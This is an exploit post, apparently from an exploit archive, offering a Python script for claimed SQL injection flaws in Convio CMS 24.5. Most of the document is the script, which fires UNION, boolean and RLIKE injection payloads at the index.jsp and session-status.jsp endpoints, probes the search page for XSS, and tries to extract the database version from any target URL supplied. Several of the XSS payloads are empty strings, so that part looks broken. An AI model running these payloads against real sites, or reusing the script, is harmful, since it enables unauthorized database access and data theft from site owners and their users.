============================================================================================================================================= | # Title : Convio CMS v 24.5 SQL Injection Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : http://www.convio.com | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/182998/ [+] Summary : Multiple critical SQL injection vulnerabilities were discovered in Convio CMS version 24.5 affecting various application endpoints. These vulnerabilities allow authenticated attackers to execute arbitrary SQL commands, potentially leading to complete database compromise, authentication bypass, and unauthorized data access. The vulnerabilities exist due to improper input validation and lack of parameterized queries in multiple JSP endpoints. Attackers can inject malicious SQL code through various parameters, allowing direct database manipulation and information disclosure. [+] POC : python poc.py python 1.py -u http://127.0.0.1/ --test-all #!/usr/bin/env python3 """ Convio CMS SQL Injection Exploit Authenticated Persistent SQL Injection Researcher: indoushka """ import requests import sys import urllib3 from argparse import ArgumentParser # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class ConvioCMSExploit: def __init__(self, target, verbose=False): self.target = target.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive' }) def log(self, message, level="INFO"): colors = { "INFO": "\033[94m", "SUCCESS": "\033[92m", "WARNING": "\033[93m", "ERROR": "\033[91m", "RESET": "\033[0m" } print(f"{colors.get(level, '')}[{level}] {message}{colors['RESET']}") def test_sql_injection(self, url, payload, detection_string=None): """Test SQL injection vulnerability""" try: if self.verbose: self.log(f"Testing URL: {url}", "INFO") response = self.session.get(url, verify=False, timeout=10) if detection_string: if detection_string in response.text: return True, response else: # Check for generic SQL error patterns sql_errors = [ "sql", "SQL", "database", "Database", "syntax", "Syntax", "mysql", "MySQL", "ora-", "ORA-", "microsoft", "Microsoft" ] if any(error in response.text for error in sql_errors): return True, response return False, response except Exception as e: self.log(f"Error testing {url}: {str(e)}", "ERROR") return False, None def exploit_index_jsp(self): """Exploit index.jsp SQL injection""" self.log("Testing index.jsp SQL injection...", "INFO") payloads = [ "2' RLIKE (SELECT (CASE WHEN (7273121=7273121) THEN 0x74657374696E70757476616C7565 ELSE 0x28 END))--", "2' AND 1=1--", "2' AND 1=2--", "2' UNION SELECT NULL,NULL,NULL--", "2' OR '1'='1" ] vulnerable = False for payload in payloads: test_url = f"{self.target}/about/news/index.jsp?page={payload}" is_vulnerable, response = self.test_sql_injection(test_url, payload) if is_vulnerable: self.log(f"Vulnerable payload: {payload}", "SUCCESS") vulnerable = True break return vulnerable def exploit_session_status_jsp(self): """Exploit session-status.jsp SQL injection""" self.log("Testing session-status.jsp SQL injection...", "INFO") payloads = [ "99999999/**/OR/**/5563379=5563379--", "1715702042268'/**/RLIKE/**/(case/**/when/**//**/4007635=4007635/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)/**/and/**/ '%'='", "1' OR '1'='1'--", "1' UNION SELECT version(),2,3--" ] vulnerable = False for payload in payloads: test_url = f"{self.target}/system/auth/session-status.jsp?nocache={payload}" is_vulnerable, response = self.test_sql_injection(test_url, payload) if is_vulnerable: self.log(f"Vulnerable payload: {payload}", "SUCCESS") vulnerable = True break return vulnerable def exploit_search_xss(self): """Test XSS in search functionality""" self.log("Testing XSS in search functionality...", "INFO") xss_payloads = [ "", "", "'\">", "javascript:alert('XSS')" ] vulnerable = False for payload in xss_payloads: test_url = f"{self.target}/search/?q={payload}" response = self.session.get(test_url, verify=False, timeout=10) if payload in response.text: self.log(f"XSS vulnerable: {payload}", "SUCCESS") vulnerable = True break return vulnerable def advanced_exploitation(self): """Advanced SQL injection exploitation""" self.log("Attempting advanced exploitation...", "INFO") # Database version extraction version_payloads = [ "2' UNION SELECT version(),NULL,NULL--", "2' UNION SELECT @@version,NULL,NULL--", "2' AND extractvalue(rand(),concat(0x3a,version()))--" ] for payload in version_payloads: test_url = f"{self.target}/about/news/index.jsp?page={payload}" is_vulnerable, response = self.test_sql_injection(test_url, payload, "MySQL") if is_vulnerable and any(keyword in response.text for keyword in ["5.7", "8.0", "10.", "MariaDB"]): self.log("Database version potentially exposed", "SUCCESS") # Extract version from response lines = response.text.split('\n') for line in lines: if any(ver in line for ver in ["5.7", "8.0", "10."]): self.log(f"Possible version info: {line[:100]}", "INFO") break def run_comprehensive_test(self): """Run comprehensive vulnerability test""" self.log(f"Starting comprehensive test for: {self.target}", "INFO") results = { 'index_jsp_sqli': False, 'session_status_sqli': False, 'search_xss': False } # Test index.jsp SQLi results['index_jsp_sqli'] = self.exploit_index_jsp() # Test session-status.jsp SQLi results['session_status_sqli'] = self.exploit_session_status_jsp() # Test search XSS results['search_xss'] = self.exploit_search_xss() # Advanced exploitation if SQLi found if results['index_jsp_sqli'] or results['session_status_sqli']: self.advanced_exploitation() # Print summary self.log("=== EXPLOITATION SUMMARY ===", "INFO") for vuln, status in results.items(): status_str = "VULNERABLE" if status else "NOT VULNERABLE" color = "SUCCESS" if status else "ERROR" self.log(f"{vuln}: {status_str}", color) return any(results.values()) def main(): banner = """ ██████╗ ██████╗ ███╗ ██╗██╗ ██╗██╗ ██████╗ ██╔════╝██╔═══██╗████╗ ██║██║ ██║██║██╔═══██╗ ██║ ██║ ██║██╔██╗ ██║██║ ██║██║██║ ██║ ██║ ██║ ██║██║╚██╗██║╚██╗ ██╔╝██║██║ ██║ ╚██████╗╚██████╔╝██║ ╚████║ ╚████╔╝ ██║╚██████╔╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═══╝ ╚═╝ ╚═════╝ Convio CMS SQL Injection Exploit Researcher: indoushka """ print(banner) parser = ArgumentParser(description='Convio CMS SQL Injection Exploit') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., https://example.com)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') parser.add_argument('--test-all', action='store_true', help='Test all vulnerability types') args = parser.parse_args() exploit = ConvioCMSExploit(args.url, args.verbose) try: if exploit.run_comprehensive_test(): exploit.log("Target appears to be vulnerable!", "SUCCESS") else: exploit.log("No vulnerabilities detected", "WARNING") except KeyboardInterrupt: exploit.log("Exploitation interrupted by user", "ERROR") sys.exit(1) except Exception as e: exploit.log(f"Unexpected error: {str(e)}", "ERROR") sys.exit(1) if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================